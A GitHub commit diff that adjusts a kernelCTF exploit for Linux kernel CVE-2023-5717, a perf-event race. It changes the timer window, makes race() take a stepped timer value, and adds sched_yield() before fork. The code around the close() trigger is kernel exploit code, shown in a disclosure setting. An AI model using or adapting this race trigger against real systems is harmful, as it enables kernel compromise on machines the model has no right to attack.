Skip to content

Commit 67bd5ad

Browse files
committed
Finding r
1 parent a804ffd commit 67bd5ad

File tree

2 files changed

+10
-6
lines changed
  • pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55

2 files changed

+10
-6
lines changed

pocs/linux/kernelctf/CVE-2023-5717_mitigation/exploit/mitigation-v3b-6.1.55/exploit.c

+10-6
Original file line numberDiff line numberDiff line change
@@ -29,8 +29,8 @@
2929
#include <signal.h>
3030

3131
// #define TIMER 71000
32-
#define MIN 58000
33-
#define MAX 79000
32+
#define MIN 58200
33+
#define MAX 62400
3434
#define SIBLINGS_MAX 1024 // about 0x4000 ~
3535
#define CPU_A 1 // main cpu
3636
#define CPU_B 0
@@ -286,7 +286,7 @@ void print_proc_self_maps_raw() {
286286
}
287287

288288
int counter_init = 0;
289-
void race(int group_leader) { // caller must have ownership of the group
289+
void race(int group_leader, int timer) { // caller must have ownership of the group
290290
int pipefd[2];
291291
uint64_t buf[0x2000] = {0, };
292292
char buffer[0x100] = {0x41, };
@@ -364,10 +364,12 @@ void race(int group_leader) { // caller must have ownership of the group
364364
kill(child_pid, SIGCONT); // continue
365365

366366
read(pipefd[0], buffer, 1); // sync point A
367-
// usleep(5000);
368-
int r = MIN + rand() % (MAX - MIN + 1);
367+
// busy_wait(1000);
368+
// int r = MIN + rand() % (MAX - MIN + 1);
369+
int r = timer;
369370
struct itimerspec new = {.it_value.tv_nsec = r}; // 95674
370371
timerfd_settime(tfd, TFD_TIMER_CANCEL_ON_SET, &new, NULL);
372+
371373
if (close(siblings[100]) < 0) { // trigger
372374
perror("close failed");
373375
exit(EXIT_FAILURE);
@@ -415,6 +417,8 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
415417
pe.exclude_hv = 1;
416418
pe.inherit = 1; // parent.attr.inherit == child.attr.inherit
417419
pe.pinned = 0; // child can not be pinned - group leader only
420+
421+
sched_yield();
418422
pid_t child_pid = fork();
419423
if(child_pid == 0) {
420424
// child & parent must be on the same cpu (validation event->cpu)
@@ -484,7 +488,7 @@ pid_t add_siblings_fork(int group_leader, int cnt, int ctx_pid, int is_racer){
484488

485489
for (int _; _<TRY_PER_ITER; _++) {
486490
while (!atomic_load(&race_go));
487-
race(group_leader);
491+
race(group_leader, MIN + _*50);
488492

489493
}
490494
}

0 commit comments

Comments
 (0)